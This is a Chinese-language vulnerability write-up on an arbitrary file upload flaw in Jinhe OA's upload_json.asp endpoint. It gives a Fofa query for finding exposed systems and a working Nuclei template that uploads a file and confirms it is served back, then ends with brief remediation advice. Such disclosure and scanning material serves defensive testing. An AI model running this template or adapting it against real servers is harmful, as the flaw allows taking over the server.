# 金和OA upload-json 任意文件上传

## 漏洞描述

金和OA upload-json 任意文件上传，攻击者可通过此漏洞获取服务器权限。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinher-oa-c6-uploadjson-fileupload

info:

name: jinher-oa-c6-uploadjson-fileupload

author: m0be1

severity: high

variables:

filename: "{{to\_lower(rand\_base(10))}}"

boundary: "{{rand\_text\_numeric(30)}}"

http:

- raw:

- |

POST /c6/KindEditor1/asp/upload\_json.asp?dir=file HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

Accept: \*/\*

Accept-Encoding: gzip

Content-Type: multipart/form-data; boundary=---------------------------{{boundary}}

Connection: close

-----------------------------{{boundary}}

Content-Disposition: form-data; name="localUrl"

-----------------------------{{boundary}}

Content-Disposition: form-data; name="imgFile"; filename="{{filename}}.txt"

Content-Type: image/png

{{randstr}}

-----------------------------{{boundary}}--

- |

GET /{{file}} HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0

Connection: close

Accept: \*/\*

extractors:

- type: json

name: file

part: body\_1

internal: true

json:

- .url

matchers:

- type: dsl

dsl:

- contains\_all(body\_2, '{{randstr}}')

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。